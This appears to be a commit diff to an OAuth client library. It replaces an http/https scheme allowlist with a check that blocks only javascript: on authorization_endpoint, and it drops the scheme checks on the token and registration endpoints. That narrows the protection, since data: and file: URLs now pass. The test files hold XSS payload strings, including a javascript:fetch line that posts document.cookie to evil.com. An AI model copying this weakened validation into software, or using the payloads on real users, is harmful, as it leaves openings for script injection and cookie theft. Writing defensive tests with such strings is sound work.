update to validate metadata authorization_endpoint on fetch

Author: arjunkmrm

src/client/auth.ts

@@ -12,7 +12,7 @@ import {
   OpenIdProviderDiscoveryMetadataSchema
 } from "../shared/auth.js";
 import { OAuthClientInformationFullSchema, OAuthMetadataSchema, OAuthProtectedResourceMetadataSchema, OAuthTokensSchema } from "../shared/auth.js";
-import { checkResourceAllowed, resourceUrlFromServerUrl, isValidOAuthScheme } from "../shared/auth-utils.js";
+import { checkResourceAllowed, resourceUrlFromServerUrl, isAuthorizationEndpointSafe } from "../shared/auth-utils.js";
 import {
   InvalidClientError,
   InvalidGrantError,
@@ -774,10 +774,19 @@ export async function discoverAuthorizationServerMetadata(
     }
 
     // Parse and validate based on type
+    const responseData = await response.json();
+    
     if (type === 'oauth') {
-      return OAuthMetadataSchema.parse(await response.json());
+      const metadata = OAuthMetadataSchema.parse(responseData);
+      if (!isAuthorizationEndpointSafe(metadata)) {
+        throw new Error(`Invalid OAuth metadata from ${endpointUrl}: authorization_endpoint uses javascript: scheme which is not allowed for security reasons.`);
+      }
+      return metadata;
     } else {
-      const metadata = OpenIdProviderDiscoveryMetadataSchema.parse(await response.json());
+      const metadata = OpenIdProviderDiscoveryMetadataSchema.parse(responseData);
+      if (!isAuthorizationEndpointSafe(metadata)) {
+        throw new Error(`Invalid OIDC metadata from ${endpointUrl}: authorization_endpoint uses javascript: scheme which is not allowed for security reasons.`);
+      }
 
       // MCP spec requires OIDC providers to support S256 PKCE
       if (!metadata.code_challenge_methods_supported?.includes('S256')) {
@@ -820,9 +829,6 @@ export async function startAuthorization(
   let authorizationUrl: URL;
   if (metadata) {
     authorizationUrl = new URL(metadata.authorization_endpoint);
-    if (!isValidOAuthScheme(authorizationUrl)) {
-      throw new Error(`Invalid authorization_endpoint URL scheme: ${authorizationUrl.protocol}. Only http: and https: are allowed.`);
-    }
 
     if (!metadata.response_types_supported.includes(responseType)) {
       throw new Error(
@@ -914,15 +920,9 @@ export async function exchangeAuthorization(
 ): Promise<OAuthTokens> {
   const grantType = "authorization_code";
 
-  let tokenUrl: URL;
-  if (metadata?.token_endpoint) {
-    tokenUrl = new URL(metadata.token_endpoint);
-    if (!isValidOAuthScheme(tokenUrl)) {
-      throw new Error(`Invalid token_endpoint URL scheme: ${tokenUrl.protocol}. Only http: and https: are allowed.`);
-    }
-  } else {
-    tokenUrl = new URL("/token", authorizationServerUrl);
-  }
+  const tokenUrl = metadata?.token_endpoint
+      ? new URL(metadata.token_endpoint)
+      : new URL("/token", authorizationServerUrl);
 
   if (
       metadata?.grant_types_supported &&
@@ -1007,9 +1007,6 @@ export async function refreshAuthorization(
   let tokenUrl: URL;
   if (metadata) {
     tokenUrl = new URL(metadata.token_endpoint);
-    if (!isValidOAuthScheme(tokenUrl)) {
-      throw new Error(`Invalid token_endpoint URL scheme: ${tokenUrl.protocol}. Only http: and https: are allowed.`);
-    }
 
     if (
       metadata.grant_types_supported &&
@@ -1081,9 +1078,6 @@ export async function registerClient(
     }
 
     registrationUrl = new URL(metadata.registration_endpoint);
-    if (!isValidOAuthScheme(registrationUrl)) {
-      throw new Error(`Invalid registration_endpoint URL scheme: ${registrationUrl.protocol}. Only http: and https: are allowed.`);
-    }
   } else {
     registrationUrl = new URL("/register", authorizationServerUrl);
   }

src/shared/auth-utils.test.ts

@@ -1,4 +1,4 @@
-import { resourceUrlFromServerUrl, checkResourceAllowed, isValidOAuthScheme } from './auth-utils.js';
+import { resourceUrlFromServerUrl, checkResourceAllowed, isAuthorizationEndpointSafe } from './auth-utils.js';
 
 describe('auth-utils', () => {
   describe('resourceUrlFromServerUrl', () => {
@@ -59,17 +59,20 @@ describe('auth-utils', () => {
     });
   });
 
-  describe('isValidOAuthScheme', () => {
-    it('should accept http and https URLs', () => {
-      expect(isValidOAuthScheme(new URL('https://auth.example.com/oauth'))).toBe(true);
-      expect(isValidOAuthScheme(new URL('http://localhost:8080/token'))).toBe(true);
+  describe('isAuthorizationEndpointSafe', () => {
+    it('should allow safe authorization endpoints', () => {
+      expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/authorize' })).toBe(true);
+      expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/auth' })).toBe(true);
+      expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/tenant1/authorize' })).toBe(true);
     });
 
-    it('should reject dangerous schemes', () => {
-      expect(isValidOAuthScheme(new URL('javascript:alert("XSS")'))).toBe(false);
-      expect(isValidOAuthScheme(new URL('data:text/html,<script>alert("XSS")</script>'))).toBe(false);
-      expect(isValidOAuthScheme(new URL('file:///etc/passwd'))).toBe(false);
-      expect(isValidOAuthScheme(new URL('ftp://malicious.com/file'))).toBe(false);
+    it('should block javascript: authorization endpoints', () => {
+      expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'javascript:alert("XSS")' })).toBe(false);
+      expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'javascript:fetch("https://evil.com/steal",{method:"POST",body:document.cookie})' })).toBe(false);
+    });
+
+    it('should pass through for invalid URLs', () => {
+      expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'invalid-url' })).toBe(true);
     });
   });
 });

src/shared/auth-utils.ts

@@ -54,16 +54,20 @@ export function resourceUrlFromServerUrl(url: URL | string ): URL {
  }
 
  /**
- * Validates that a URL uses a safe scheme for OAuth endpoints (http or https only).
+ * Validates OAuth authorization endpoint to prevent JavaScript URL injection attacks.
  * 
- * This prevents XSS (Cross-Site Scripting) and RCE (Remote Code Execution) attacks 
- * where malicious authorization servers could return endpoints with dangerous schemes 
- * like javascript:, data:, file:, etc. that could lead to code execution when 
- * processed by OAuth clients.
+ * Checks that the authorization_endpoint doesn't use the javascript: scheme, 
+ * which could lead to code execution when the client redirects users to it.
  * 
- * @param url - The URL to validate
- * @returns true if the URL scheme is safe (http: or https:), false otherwise
+ * @param metadata - The OAuth authorization server metadata to validate
+ * @returns true if authorization endpoint is safe (no javascript: scheme), false otherwise
  */
-export function isValidOAuthScheme(url: URL): boolean {
-  return ['https:', 'http:'].includes(url.protocol);
+export function isAuthorizationEndpointSafe(metadata: { authorization_endpoint: string }): boolean {
+  try {
+    const url = new URL(metadata.authorization_endpoint);
+    return url.protocol !== 'javascript:';
+  } catch {
+    // Invalid URL format - let other validation handle this
+    return true;
+  }
 }